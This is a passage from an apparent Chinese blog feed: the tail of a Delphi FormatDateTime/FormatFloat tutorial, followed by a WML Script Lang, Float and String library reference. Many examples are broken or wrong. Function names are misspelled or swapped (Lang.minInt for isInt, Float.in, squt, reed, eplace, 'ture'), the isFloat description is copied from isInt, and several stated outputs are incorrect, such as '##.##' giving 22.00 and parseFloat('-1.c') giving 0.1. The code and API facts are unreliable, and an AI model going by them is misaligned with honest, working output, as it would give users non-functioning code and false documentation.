（表示04年）<BR>m/mm/mmm/mmmm 表示月<BR>FormatdateTime('m',now);<BR>输出为：8<BR>FormatdateTime('mm',now);<BR>输出为 08<BR>FormatdateTime('mmm',now);<BR>输出为 八月<BR>FormatdateTime('mmmm',now); <BR>输出为 八月<BR>和ddd/dddd 一样，在其他国家可能不同<BR>yy/yyyy 表示年<BR>FormatdateTime('yy',now);<BR>输出为 04<BR>FormatdateTime('yyyy',now);<BR>输出为 2004<BR>h/hh,n/nn,s/ss,z/zzz 分别表示小时，分，秒,毫秒<BR>t 以短时间格式显示时间<BR>FormatdateTime('t',now);<BR>输出为 10:17<BR>tt 以长时间格式显示时间<BR>FormatdateTime('tt',now);<BR>输出为10:18:46<BR>ampm 以长时间格式显示上午还是下午<BR>FormatdateTime('ttampm',now);<BR>输出为：10:22:57上午<BR><BR>大概如此，如果要在Format中加普通的字符串，可以用双引号隔开那些<BR>特定义的字符，这样普通字符串中如果含特殊的字符就不会被显示为<BR>时间格式啦：<BR>FormatdateTime('"today is" c',now);<BR>输出为：today is 2004-8-7 10:26:58<BR>时间中也可以加"-"或"\"来分开日期：<BR>FormatdateTime('"today is" yy-mm-dd',now);<BR>FormatdateTime('"today is" yy\mm\dd',now);<BR>输出为： today is 04-08-07<BR>也可以用":"来分开时间 <BR>FormatdateTime('"today is" hh:nn:ss',now);<BR>输出为：today is 10:32:23<BR><BR>/////////////////////////////////////////////////////////////////<BR>三.FormatFloat的用法<BR><BR>常用的声明：<BR>function FormatFloat(const Format: string; Value: Extended): string; overload;<BR>和上面一样Format参数为格式化指令字符，Value为Extended类型<BR>为什么是这个类型，因为它是所有浮点值中表示范围最大的，如果传入该方法的参数<BR>比如Double或者其他，则可以保存不会超出范围。<BR><BR>关键是看Format参数的用法<BR>0 这个指定相应的位数的指令。<BR>比如：FormatFloat('000.000',22.22);<BR>输出的就是022.220<BR>注意一点，如果整数部分的0的个数小于Value参数中整数的位数，则没有效果<BR>如：FormatFloat('0.00',22.22);<BR>输出的是：22.22<BR>但如果小数部分的0小于Value中小数的倍数，则会截去相应的小数和位数<BR>如：FormatFloat('0.0',22.22);<BR>输出的是：22.2<BR><BR>也可以在整数0中指定逗号，这个整数位数必须大于3个，才会有逗号出句<BR>FormatFloat('0,000.0',2222.22);<BR>输出是：2,222.2<BR>如果这样FormatFloat('000,0.0',2222.22);<BR>它的输出还是：2,222.2<BR>注意它的规律<BR><BR># 和0的用法一样，目前我还没有测出有什么不同。<BR>FormatFloat('##.##',22.22);<BR>输出是：22.00<BR><BR>E 科学表示法，看几个例子大概就明白了<BR>FormatFloat('0.00E+00',2222.22);<BR>输出是 2.22E+03<BR>FormatFloat('0000.00E+00',2222.22);<BR>输出是 2222.22E+00<BR>FormatFloat('00.0E+0',2222.22);<BR>22.2E+2<BR>明白了吗，全靠E右边的0来支配的。<BR><BR>这个方法并不难，大概就是这样子了。]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=223" /> 
	  <id>http://www.openx.cn/default.asp?id=223</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[线标记语言(WML)之Script函数库]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-02-28T09:32:18+08:00</updated>
	  <published>2006-02-28T09:32:18+08:00</published>
		  <summary type="html"><![CDATA[这些标准函数库提供一个扩展WML&nbsp;Script语言的机制，这些特定的函数库必须遵循WML&nbsp;Script的规则。&nbsp;
<P><BR>　　支持的数据格式&nbsp;</P>
<P>　　下面的WML&nbsp;Script格式使用于程序的定义之中，这样能记录程序参数与回转值的格式。&nbsp;</P>
<P>　　　Boolean&nbsp;<BR>　　　Integer&nbsp;<BR>　　　Float&nbsp;<BR>　　　String&nbsp;<BR>　　　Invalid&nbsp;</P>
<P>　　除此之外，如果整数与浮点数参数值格式都能接受的话，则能使用number来记录参数格式，如果使用的格式是所支持的格式，则能用any来记录。&nbsp;</P>
<P>　　数据格式转换&nbsp;</P>
<P>　　函数库程序发生错误的处理方式和WML&nbsp;Script语言一样。&nbsp;</P>
<P>　　invalid程序参数会产生invalid的回传值。&nbsp;</P>
<P>　　程序的参数无法转成所需要使用参数格式，则会产生invalid的回传值。&nbsp;</P>
<P>　　与程序相关的错误得出回传一个适当的错误码，至于这个值就要看每个程序如何定义。&nbsp;</P>
<P>　　6.2&nbsp;Lang函数库&nbsp;</P>
<P>　　名称：Lang&nbsp;</P>
<P>　　说明：这个函数库所含的程序同WML&nbsp;Script语言的核心有很密切的关系。&nbsp;</P>
<P>　　abs&nbsp;</P>
<P>　　程序：abs（value）&nbsp;<BR>　　说明：回传给予数的绝对值。&nbsp;<BR>　　如果给予的数是整数，则回传整数。&nbsp;<BR>　　如果给予的数是浮点数，则回传浮点数。&nbsp;<BR>　　参数：value=数字。&nbsp;<BR>　　回传值：数字或invalid。&nbsp;<BR>　　例外状况：var&nbsp;a&nbsp;=-3;&nbsp;<BR>　　　　　　　var&nbsp;b&nbsp;=Lang.abs(a)；//b=3&nbsp;</P>
<P>　　min&nbsp;</P>
<P>　　范例：var&nbsp;a&nbsp;=&nbsp;-3&nbsp;<BR>　　　　　var&nbsp;b&nbsp;=&nbsp;Lang.abs(a);&nbsp;<BR>　　　　　var&nbsp;c&nbsp;=&nbsp;Lang.min(a.b);&nbsp;<BR>　　　　　var&nbsp;d&nbsp;=&nbsp;Lang.min(45、76.3);//d=45(ingteger)&nbsp;<BR>　　　　　var&nbsp;e&nbsp;=&nbsp;Lang.min(45、76.3);//e=45(ingteger)&nbsp;</P>
<P>　　max&nbsp;</P>
<P>　　程序：max（value1,value2）&nbsp;<BR>　　说明：回传值给予的两个数之间的较大值，回传的值于格式同所选数值的值与格式相同，其选取的方式如下：&nbsp;<BR>　　　WML&nbsp;Script运算符数据格式的整数与浮点数转换法则可用来确认数据格式，以便执行比较的动作。&nbsp;<BR>　　　参数：value1&nbsp;=数字&nbsp;<BR>　　　　　　value2&nbsp;=数字&nbsp;<BR>　　　回传值：数字或invalid&nbsp;<BR>　　　例外状况：无&nbsp;<BR>　　　范例：var&nbsp;a&nbsp;=-3;&nbsp;<BR>　　　　　　var&nbsp;b&nbsp;=Lang.abs(a)；//b=3&nbsp;<BR>　　　　　　var&nbsp;c&nbsp;=&nbsp;Lang.min(a.b);&nbsp;<BR>　　　　　　var&nbsp;d&nbsp;=&nbsp;Lang.min(45、76.3);//d=45(ingteger)&nbsp;<BR>　　　　　　var&nbsp;e&nbsp;=&nbsp;Lang.min(45、76.3);//e=45(float)&nbsp;</P>
<P>　　parseInt&nbsp;</P>
<P>　　程序：parseInt(value)&nbsp;<BR>　　说明：回传由字符串value所定义的整数值，合法的整数语法由WML&nbsp;Script数值字符串文法或是近值整数是字所界定，下列为额外的解析法则：&nbsp;<BR>　　　第一个字符不是由+、-或十进制数字当开头的话，解译结束。&nbsp;<BR>　　结果：解析过的字符串回转换整数值。&nbsp;<BR>　　范例：var&nbsp;i&nbsp;=Lang.parseInt("1234");&nbsp;//&nbsp;i=1234&nbsp;<BR>　　　　　var&nbsp;j&nbsp;=Lang.parseInt("100&nbsp;m/s");&nbsp;//&nbsp;j=100&nbsp;</P>
<P>　　parseFloat&nbsp;</P>
<P>　　程序：parseFloat(value)&nbsp;<BR>　　说明：回传由字符串value所定义的浮点数值，合法的浮点数语法由WML&nbsp;Script数值字符串文法或是近值整数实字所界定，下列为额外的解析法则：&nbsp;</P>
<P>　　　第一个字符无法解析成浮点数表达式，解析结束。&nbsp;</P>
<P>　　结束：解析过的字符串回转换成浮点数。&nbsp;<BR>　　参数：value=字符串&nbsp;<BR>　　回传值：浮点数或invalid&nbsp;<BR>　　例外状况：解析错误则传回invalid&nbsp;<BR>　　范例：var&nbsp;a&nbsp;=Lang.parseFloat("123.7&nbsp;Hz");&nbsp;//&nbsp;a=123.7&nbsp;<BR>　　　　　var&nbsp;b&nbsp;=Lang.parseFloat("7.34e2&nbsp;Hz");&nbsp;//&nbsp;b=7.34e2&nbsp;<BR>　　　　　var&nbsp;c&nbsp;=Lang.parseFloat("70.0e-2&nbsp;F");&nbsp;//&nbsp;c=70.0e-2&nbsp;<BR>　　　　　var&nbsp;d&nbsp;=Lang.parseFloat("-1.c");&nbsp;//&nbsp;d=0.1&nbsp;<BR>　　　　　var&nbsp;e&nbsp;=Lang.parseFloat("100");&nbsp;//&nbsp;e=100.0&nbsp;<BR>　　　　　var&nbsp;f&nbsp;=Lang.parseFloat("Number:5.5");&nbsp;//&nbsp;f=invalid&nbsp;<BR>　　　　　var&nbsp;g&nbsp;=Lang.parseFloat("7.3e&nbsp;meters");&nbsp;//&nbsp;g=invalid&nbsp;<BR>　　　　　var&nbsp;h&nbsp;=Lang.parseFloat("7.3e-&nbsp;m/s");&nbsp;//&nbsp;h=invalid&nbsp;</P>
<P>　　isInt&nbsp;</P>
<P>　　程序：isInt(value)&nbsp;<BR>　　说明：如果各预的值value能使用parseInt(value)转成整数则回传布尔值ture，否则传回false。&nbsp;<BR>　　参数：value=任意值&nbsp;<BR>　　回传值：布尔值或invalid&nbsp;<BR>　　例外状况：无&nbsp;<BR>　　范例：var&nbsp;a=Lang.inInt("-123");&nbsp;//ture&nbsp;<BR>　　　　　var&nbsp;a&nbsp;=Lang.minInt("123.33");&nbsp;//ture&nbsp;<BR>　　　　　var&nbsp;a&nbsp;=Lang.minInt("string");&nbsp;//false&nbsp;<BR>　　　　　var&nbsp;a&nbsp;=Lang.minInt("#123");&nbsp;//false&nbsp;<BR>　　　　　var&nbsp;a&nbsp;=Lang.minInt("invalid");&nbsp;//invalid&nbsp;</P>
<P>　　isFloat&nbsp;</P>
<P>　　程序：isFloat(value)&nbsp;<BR>　　说明：如果各预的值value能使用parseInt(value)转成整数则回传布尔值ture，否则传回false。&nbsp;<BR>　　参数：value=任意值&nbsp;<BR>　　回传值：布尔值或invalid&nbsp;<BR>　　例外状况：无&nbsp;<BR>　　范例：var&nbsp;a=Lang.inInt("-123");&nbsp;//ture&nbsp;<BR>　　　　　var&nbsp;a&nbsp;=Lang.minInt("123.33");&nbsp;//ture&nbsp;<BR>　　　　　var&nbsp;a&nbsp;=Lang.minInt("string");&nbsp;//false&nbsp;<BR>　　　　　var&nbsp;a&nbsp;=Lang.minInt("#123");&nbsp;//false&nbsp;<BR>　　　　　var&nbsp;a&nbsp;=Lang.minInt("invalid");&nbsp;//invalid&nbsp;</P>
<P>　　maxInt&nbsp;</P>
<P>　　程序：maxInt()&nbsp;<BR>　　说明：传回最大的整数值。&nbsp;<BR>　　参数：无&nbsp;<BR>　　回传值：整数2147483647&nbsp;<BR>　　例外状况：无&nbsp;<BR>　　范例：var&nbsp;a&nbsp;=Lang.minInt（）;&nbsp;</P>
<P>　　minInt&nbsp;</P>
<P>　　程序：minInt()&nbsp;<BR>　　说明：传回最小的整数值&nbsp;<BR>　　参数：无&nbsp;<BR>　　回传值：整数-2147483647&nbsp;<BR>　　例外状况：无&nbsp;<BR>　　范例：var&nbsp;a&nbsp;=Lang.minInt();&nbsp;</P>
<P>　　float&nbsp;</P>
<P>　　程序：float()&nbsp;<BR>　　说明：如果有支持浮点数的话传回ture,没有的话传回false。&nbsp;<BR>　　参数：无&nbsp;<BR>　　回传值：布尔值&nbsp;<BR>　　例外状况：无&nbsp;<BR>　　范例：var&nbsp;floatsSupported&nbsp;=&nbsp;Lang.float();&nbsp;</P>
<P>　　exit&nbsp;</P>
<P>　　程序：exit(value)&nbsp;<BR>　　说明：结束WML&nbsp;Script位码的解译然后回到调用WML&nbsp;Script解译器者的控制，并回传指定值value,你可以使用这个程序来执行由一般程序的结束，而且WML&nbsp;Script位码的执　　行必须停止。&nbsp;<BR>　　参数：valre=任意值&nbsp;<BR>　　回传值：无，这个程序结束解译&nbsp;<BR>　　例外状况：无&nbsp;<BR>　　范例：Lang.exit("value:"&nbsp;+&nbsp;myVal);//Returns&nbsp;a&nbsp;string&nbsp;<BR>　　　　　Lang,exit(invalid);//&nbsp;Returns&nbsp;invalid&nbsp;</P>
<P>　　abort&nbsp;</P>
<P>　　程序：abort(errorDescription)&nbsp;<BR>　　说明：中止WML&nbsp;Script位码的解译然后回到调用WML&nbsp;Script解译器者的控制，并回传&nbsp;errorDescription,你能使用这个程序执行不正常的中止，调用程序者检测到有严重错误，WML&nbsp;Script的执行并须中断。&nbsp;<BR>　　如果errorDescription的格式为invalid,字符串invalid用代替errorDescription的使用。&nbsp;<BR>　　参数：errorDescription&nbsp;=字符串&nbsp;<BR>　　回传值：无，这个程序结束解译&nbsp;<BR>　　例外状况：无&nbsp;<BR>　　范例：Lang.abort("Error:"&nbsp;+&nbsp;errVal);&nbsp;//&nbsp;Error&nbsp;value&nbsp;string&nbsp;</P>
<P>　　radndom&nbsp;</P>
<P>　　程序：random(value)&nbsp;<BR>　　说明：回传一个正数的整数值，也就是说要大于或等于零，但必须要小于给定值value,回传值是由近是正常分布所随机选取的值。&nbsp;<BR>　　参数：value=整数&nbsp;<BR>　　回传值：整数或invalid&nbsp;<BR>　　例外状况：如果value等于0，则程序回传0&nbsp;<BR>　　　　　　　如果value小于0，则程序回传invalid&nbsp;<BR>　　范例：var&nbsp;a&nbsp;=10;&nbsp;<BR>　　　　　var&nbsp;b&nbsp;=Lang.random(5.1)*a；//b=0..50&nbsp;<BR>　　　　　var&nbsp;c&nbsp;=&nbsp;Lang.random("string");&nbsp;//&nbsp;c=invalid&nbsp;</P>
<P>　　reed&nbsp;</P>
<P>　　程序：seed(alue)&nbsp;<BR>　　说明：初始化需随机数字顺序并回传一个空字符串&nbsp;<BR>　　　　　如果value为0或正整数，给予的value则用来初始化，反之则使用随机初始化的值。&nbsp;<BR>　　　　　如果value为浮点数，则会先使用Float.int()来计算确切的整数值。&nbsp;<BR>　　参数：value=整数&nbsp;<BR>　　回传值：字符串或invalid]&nbsp;<BR>　　例外状况：无&nbsp;<BR>　　范例：var&nbsp;a&nbsp;=Lang.reed(123);//&nbsp;a=""&nbsp;<BR>　　　　　var&nbsp;b&nbsp;=Lang.random(20);&nbsp;//&nbsp;b=0..20&nbsp;<BR>　　　　　var&nbsp;c&nbsp;=&nbsp;Lang.seed("seed");&nbsp;//&nbsp;c=invalid&nbsp;(random&nbsp;seed&nbsp;//left&nbsp;unchanged)&nbsp;</P>
<P>　　characterSet&nbsp;</P>
<P>　　程序：characterSet()&nbsp;<BR>　　说明：回传WML&nbsp;Script解译器所支持的字集，回传只是个整数用来记录由IANA所设定的MIB&nbsp;Enum值，这个只能表示所有的字集。&nbsp;<BR>　　参数：无&nbsp;<BR>　　回传值：整数&nbsp;<BR>　　例外状况：无&nbsp;<BR>　　范例：Var&nbsp;charset&nbsp;=&nbsp;Lang.characterSet();&nbsp;//charset&nbsp;=&nbsp;4&nbsp;for&nbsp;latinl&nbsp;<BR>　6.3&nbsp;Float函数库&nbsp;</P>
<P>　　名称：Float&nbsp;<BR>　　说明：这个函数库包含了典型与常用的浮点数算术程序。&nbsp;</P>
<P>　　int&nbsp;</P>
<P>　　程序：int(value)&nbsp;<BR>　　说明：回传给予值的整数部分。&nbsp;<BR>　　参数：value=数字&nbsp;<BR>　　回传值：整数或invalid&nbsp;<BR>　　例外状况：无&nbsp;<BR>　　范例：var&nbsp;a&nbsp;=3.14;&nbsp;<BR>　　　　　var&nbsp;b&nbsp;=Float.in(a);&nbsp;//b=3&nbsp;<BR>　　　　　var&nbsp;c&nbsp;=Float.in(-2.8);&nbsp;//c=-2&nbsp;</P>
<P>　　floor&nbsp;</P>
<P>　　程序：floor(value)&nbsp;<BR>　　说明：回传整数值，这个只要最接近给予值但不能大于它。&nbsp;<BR>　　　　　如果value已经是个整数，其结果就是这个值本身。&nbsp;<BR>　　参数：value=数字&nbsp;<BR>　　回传值：整数或invalid&nbsp;<BR>　　例外状况：无&nbsp;<BR>　　范例：var&nbsp;a&nbsp;=3.14;&nbsp;<BR>　　　　　var&nbsp;b&nbsp;=Float.in(a);&nbsp;//b=3&nbsp;<BR>　　　　　var&nbsp;c&nbsp;=Float.in(-2.8);&nbsp;//c=-3&nbsp;</P>
<P>　　ceil&nbsp;</P>
<P>　　程序：ceil(value)&nbsp;<BR>　　说明：回传一个只要最接近给予值但不能小于它的整数值。&nbsp;<BR>　　如果value已经是个整数，其结果就是这个值本身。&nbsp;<BR>　　参数：value=数字&nbsp;<BR>　　回传值：整数或invalid&nbsp;<BR>　　例外状况：无&nbsp;<BR>　　范例：var&nbsp;a&nbsp;=3.14;&nbsp;<BR>　　　　　var&nbsp;b&nbsp;=Float.in(a);&nbsp;//b=4&nbsp;<BR>　　　　　var&nbsp;c&nbsp;=Float.in(-2.8);&nbsp;//c=-2&nbsp;</P>
<P>　　pow&nbsp;</P>
<P>　　程序：pow(x,y)&nbsp;<BR>　　说明：回传x的y次方值。&nbsp;<BR>　　　　　如果x是负数，则y必须为正数。&nbsp;<BR>　　　　　参数：x=数字&nbsp;<BR>　　　　　　　&nbsp;y=数字&nbsp;<BR>　　回传值：浮点数或invlid&nbsp;<BR>　　　　　　例外状况：如果x=&nbsp;=0而且&nbsp;y&lt;0,则回传invalid&nbsp;<BR>　　　　　　如果x&lt;0而且y不是个整数，则回传invalid&nbsp;<BR>　　范例：var&nbsp;a&nbsp;=3&nbsp;<BR>　　　　　var&nbsp;b&nbsp;=Float.pow(a,2);&nbsp;//b=9&nbsp;</P>
<P>　　round&nbsp;</P>
<P>　　程序：round(value)&nbsp;<BR>　　说明：传回最接近给予值的整数&nbsp;<BR>　　　　　若两个整数值跟value接近的程序相等，则选择比较大的数。&nbsp;<BR>　　　　　若value已经是个正数，其结果就是value本身。&nbsp;<BR>　　参数：value=数字&nbsp;<BR>　　回传值：整数或invalid&nbsp;<BR>　　例外状况：无&nbsp;<BR>　　范例：var&nbsp;a=Float.round(3.5)；&nbsp;//&nbsp;a=4&nbsp;<BR>　　　　　var&nbsp;b=Float.round(-3.5);&nbsp;//b=-3&nbsp;<BR>　　　　　var&nbsp;c=Float.round(0.5)；&nbsp;//&nbsp;c=1&nbsp;<BR>　　　　　var&nbsp;d=Float.round(-0.5);&nbsp;//d=0&nbsp;</P>
<P>　　squt&nbsp;</P>
<P>&nbsp;&nbsp;</P>
<P>　　程序：sqrt(value)&nbsp;<BR>　　说明：传回给予值value的平方根近似值。&nbsp;<BR>　　参数：value=浮点数&nbsp;<BR>　　回传值：浮点数或invalid&nbsp;<BR>　　　　　　例外状况：如果value负数，则回传invlid&nbsp;<BR>　　范例：var&nbsp;a=4;&nbsp;<BR>　　　　　var&nbsp;b=Float.squt(a);&nbsp;//b=2.0&nbsp;<BR>　　　　　var&nbsp;c=Float.squt(5);&nbsp;//c=2.2360679775&nbsp;</P>
<P>　　maxFloat　&nbsp;</P>
<P>　　程序：maxFloat（）&nbsp;<BR>　　说明：传回IEEE&nbsp;754所支持的但准浮点数格式中最大的浮点数值。&nbsp;<BR>　　参数：无&nbsp;<BR>　　回传值：浮点数3.40282347E+38&nbsp;<BR>　　例外状况:无&nbsp;<BR>　　范例：var&nbsp;a=Float.maxFloat();&nbsp;</P>
<P>　　minFloat&nbsp;</P>
<P>　　程序：minFloat（）&nbsp;<BR>　　说明：传回IEEE&nbsp;754所支持的但准浮点数格式中最小的浮点数值。&nbsp;<BR>　　参数：无&nbsp;<BR>　　回传值：浮点数1.17549435E-38&nbsp;<BR>　　例外状况：无&nbsp;<BR>　　范例：var&nbsp;a=Float.minFloat();&nbsp;<BR>6.4&nbsp;string函数库&nbsp;</P>
<P>　　名称：字符串&nbsp;<BR>　　说明：这个函数库包含了字符串程序的集合，一个字符串可以是字符数组，每个字符都有个索引，字符串的第一个字浮的索引为0,字符串的长度是字符在数组中的数目。&nbsp;</P>
<P>　　　　　你能使用一些特殊的分隔符号来界定不同的字符串，这样你就能存取这些有分隔符号予元素索引所界定出的元素，字符串中第一个元素的索引值为0，每个字符串分隔符号回分隔出两个元素，但字符是不能用来做分隔符号。&nbsp;</P>
<P>　　一个空格的字符可能是下列字符其中之一：&nbsp;</P>
<P>　　TAB:水平跳格定位（horizontal&nbsp;tabulation）&nbsp;<BR>　　VT:垂直跳格定位(ertival&nbsp;tabulation)&nbsp;<BR>　　FF:跳页（from&nbsp;feed）&nbsp;<BR>　　SP:空格（space）&nbsp;<BR>　　LF:跳行（line&nbsp;feed)&nbsp;<BR>　　CR:归位（carriage&nbsp;return）&nbsp;</P>
<P>　　length&nbsp;</P>
<P>　　程序：length(string)&nbsp;<BR>　　说明：传回给予字符串的长度（字符的数目）。&nbsp;<BR>　　参数：string=字符串&nbsp;<BR>　　回传值：整数或invalid&nbsp;<BR>　　例外状况：无&nbsp;<BR>　　范例：var&nbsp;a="ABC";&nbsp;<BR>　　　　　var&nbsp;b=string.length(a);&nbsp;//b=3&nbsp;<BR>　　　　　var&nbsp;c=string.length("");&nbsp;//c=0&nbsp;<BR>　　　　　var&nbsp;d=string.length(342);&nbsp;//d=3&nbsp;</P>
<P>　　is&nbsp;Empty&nbsp;</P>
<P>　　程序：is&nbsp;Empty(string)&nbsp;<BR>　　说明：如果字符串长度为零则传回布尔值true,反之传回false。&nbsp;<BR>　　参数：string=字符串&nbsp;<BR>　　回传值：布尔值或invalid&nbsp;<BR>　　例外状况：无&nbsp;<BR>　　范例：var&nbsp;a="Hello;&nbsp;<BR>　　　　　var&nbsp;b="";&nbsp;<BR>　　　　　var&nbsp;c=sting.isEmpty(a);&nbsp;//c=false&nbsp;<BR>　　　　　var&nbsp;c=sting.isEmpty(b);&nbsp;//d=ture&nbsp;<BR>　　　　　var&nbsp;c=sting.isEmpty(ture);&nbsp;//e=false&nbsp;</P>
<P>　　charAt&nbsp;</P>
<P>　　程序：charAt(sting.index)&nbsp;<BR>　　说明：回传string中index值所指定的字符。&nbsp;<BR>　　参数：string=字符数&nbsp;<BR>　　　　　index=数字（回传回index所指定的字符）&nbsp;<BR>　　回传值：字符串或invalid&nbsp;<BR>　　例外状况：如果index的值超过字符串的范围，则回传空字符串（""）&nbsp;<BR>　　范例：var&nbsp;a="My&nbsp;name&nbsp;is&nbsp;Joe"&nbsp;<BR>　　　　　var&nbsp;b=sting.charAt(a,0);&nbsp;//b=&nbsp;"M"&nbsp;<BR>　　　　　var&nbsp;c=sting.charAt(a,100);&nbsp;//c=&nbsp;""&nbsp;<BR>　　　　　var&nbsp;d=sting.charAt(34.0);&nbsp;//d="3"&nbsp;<BR>　　　　　var&nbsp;e=sting.charAt(a,"first");&nbsp;//e=invalid&nbsp;</P>
<P>　　subString&nbsp;</P>
<P>　　程序：subString(string,startIndex,length)&nbsp;<BR>　　说明：传回一个新的字符串来代替所给予的字符串，&nbsp;这个新字符串给定的索引值开始，它的长度有所给予的length决定。&nbsp;<BR>　　　　　如果startIndex小于0，则会0来当作索引值。&nbsp;<BR>　　　　　如果length大于剩余字符的数目，则lenght会由剩余的字符数来代替。&nbsp;<BR>　　　　　如果startIndex予lenght是浮点数，则会先使用Float.int()来计算正确的整数值。&nbsp;<BR>　　参数：string=字符数&nbsp;<BR>　　　　　startIndex=数字&nbsp;<BR>　　　　　lenght=数字&nbsp;<BR>　　回传值：字符串或invalid&nbsp;<BR>　　例外状况：如果startIndex大于最后的索引值，则回传会空字符串（""）&nbsp;<BR>　　　　　　　如果lenght&lt;=0，传会空字符串（""）&nbsp;<BR>　　范例：var&nbsp;a="ABCD";&nbsp;<BR>　　　　　var&nbsp;b=String.subString(a,1,2);&nbsp;//b="BC"&nbsp;<BR>　　　　　var&nbsp;c=String.subString(a,2,5);&nbsp;//c="CD"&nbsp;<BR>　　　　　var&nbsp;d=String.subString(1234,0,2);&nbsp;//d="12"&nbsp;</P>
<P>　　find&nbsp;</P>
<P>　　程序：find(string,substring)&nbsp;<BR>　　说明：传会所要寻找的字符串substring和原始字符串string相符的第一个字符的索引值。&nbsp;<BR>　　　　　如果没有相符，则传会整数值-1。&nbsp;<BR>　　　　　两个字符传如果是相等的话，是定义为不符合。&nbsp;<BR>　　参数：string=字符串&nbsp;<BR>　　　　　substring=字符串&nbsp;<BR>　　回传值：整数或invalid&nbsp;<BR>　　例外状况：无&nbsp;<BR>　　范例：var&nbsp;a="abcde";&nbsp;<BR>　　　　　var&nbsp;b=String.find(a,"cd");&nbsp;//b=2&nbsp;<BR>　　　　　var&nbsp;c=String.find(34.2,"de");&nbsp;//c=-1&nbsp;<BR>　　　　　var&nbsp;d=String.find(a,"gz");&nbsp;//d=-1&nbsp;<BR>　　　　　var&nbsp;e=String.find(34,"3");&nbsp;//e=0&nbsp;</P>
<P>　　replace&nbsp;</P>
<P>　　程序：eplace(tring,oldSubString,newSubString)&nbsp;<BR>　　说明：传会新字符串，这个新字符串是由和所给予字符串string相符的旧字符传oldSubString使用新字符串newSubString字符串加以代替。如果两字符串相等的话，定义为相符。&nbsp;<BR>　　参数：string=字符串&nbsp;<BR>　　　　　oldSubString=字符串&nbsp;<BR>　　　　　newSubString=字符串&nbsp;<BR>　　回传值：字符串或invalid&nbsp;<BR>　　例外状况：无&nbsp;<BR>　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　范例：var&nbsp;a="Hello&nbsp;Joe.What&nbsp;is&nbsp;up&nbsp;Joe?";&nbsp;<BR>　　　var&nbsp;newName="Don";&nbsp;<BR>　　　var&nbsp;oldName="Joe";&nbsp;<BR>　　　var&nbsp;c=String.replace(a,oldName,newName);&nbsp;//c="Hello&nbsp;Don.What&nbsp;is&nbsp;up&nbsp;Don?"&nbsp;<BR>　　　var&nbsp;d=Stri　　ng.replace(a,oldName,newName);&nbsp;//c="Hello&nbsp;Don.What&nbsp;is&nbsp;up&nbsp;Don?"&nbsp;</P>
<P>　　element&nbsp;</P>
<P>　　程序：element(string,separator)&nbsp;<BR>　　说明：回传分隔符号separator所分隔的字符串string的元素数目，空字符串（""）是有效的元素，这表示了这程序永远不会回传一个小于或等于0得值。&nbsp;<BR>　　参数：string=字符串&nbsp;<BR>　　　　　separator=字符串&nbsp;<BR>　　回传值：整数或invalid&nbsp;<BR>　　例外状况：如果separator是个空字符串，则回传invalid&nbsp;<BR>　　范例：var&nbsp;a="My&nbsp;name&nbsp;is&nbsp;Joe;Age&nbsp;50";&nbsp;<BR>　　　　　var&nbsp;b=String.elements(a,"");//b=6&nbsp;<BR>　　　　　var&nbsp;c=String.elements(a,";");//c=3&nbsp;<BR>　　　　　var&nbsp;d=String.elements("",";");//d=1&nbsp;<BR>　　　　　var&nbsp;e=String.elements("a","");//e=1&nbsp;<BR>　　　　　var&nbsp;f=String.elements(";",";");//f=2&nbsp;<BR>　　　　　var&nbsp;g=String.elements(";;,;",";,");//g=4&nbsp;<BR>　　　　　separator=;&nbsp;</P>
<P>　　elementAt&nbsp;</P>
<P>　　程序：elementAt(string,index,separator)&nbsp;<BR>　　说明：寻找字符串string的第index个元素，这些元素是由分隔符号separator所加以分开，并回传相对应的元素。&nbsp;<BR>　　　　　如果index值小于0，则回传第一个元素。&nbsp;<BR>　　　　　如果index值大于元素的数目，则回传最后一个元素。&nbsp;<BR>　　　　　如果字符串为空字符串，则回传空字符串。&nbsp;<BR>　　　　　如果index值为浮点数，则须先使用Float.int()来计算出正确的索引值。&nbsp;<BR>　　参数：string=字符串&nbsp;<BR>　　　　　index=数字&nbsp;<BR>　　　　　separator=字符串&nbsp;<BR>　　回传值：字符串或invalid&nbsp;<BR>　　例外状况：如果separator是个空字符串，则回传invalid&nbsp;<BR>　　范例：var&nbsp;a="Hello&nbsp;Joe.What&nbsp;is&nbsp;up&nbsp;Joe?";&nbsp;<BR>　　　　　var&nbsp;b=String.elementAt(a,0,"");&nbsp;//b="My"&nbsp;<BR>　　　　　var&nbsp;b=String.elementAt(a,14,";");&nbsp;//c="&nbsp;"&nbsp;<BR>　　　　　var&nbsp;b=String.elementAt(a,1,";");&nbsp;//d="Age&nbsp;50"&nbsp;</P>
<P>　　removeAt&nbsp;</P>
<P>　　程序：removeAt(string,index,separator)&nbsp;<BR>　　说明：将符合索引值index的分隔号separator与元素有字符串string中移出，并回传这个新字符串。&nbsp;<BR>　　　　　如果index值小于0，则回传第一个元素。&nbsp;<BR>　　　　　如果index值大于元素的数目，则回传最后一个元素。&nbsp;<BR>　　　　　如果字符串为空字符串，则回传空字符串。&nbsp;<BR>　　　　　如果index值为浮点数，则须先使用Float.int()来计算出正确的索引值。&nbsp;<BR>　　参数：string=字符串&nbsp;<BR>　　　　　element=字符串&nbsp;<BR>　　　　　index=数字&nbsp;<BR>　　　　　separator=字符串&nbsp;<BR>　　回传值：字符串或invalid&nbsp;<BR>　　例外状况：如果separator是个空字符串，则回传invalid&nbsp;<BR>　　范例：var&nbsp;a="&nbsp;A&nbsp;A;B&nbsp;C&nbsp;D";&nbsp;<BR>　　　　　var&nbsp;s=&nbsp;"";&nbsp;<BR>　　　　　var&nbsp;c=String.removeAt(a,1,s);&nbsp;//b="A&nbsp;B&nbsp;C&nbsp;D"&nbsp;<BR>　　　　　var&nbsp;d=String.removeAt(a,0,";");&nbsp;//c="&nbsp;B&nbsp;C&nbsp;D"&nbsp;<BR>　　　　　var&nbsp;e=String.removeAt(a,14,";");&nbsp;//d="A&nbsp;A"&nbsp;</P>
<P>　　replaceAt&nbsp;</P>
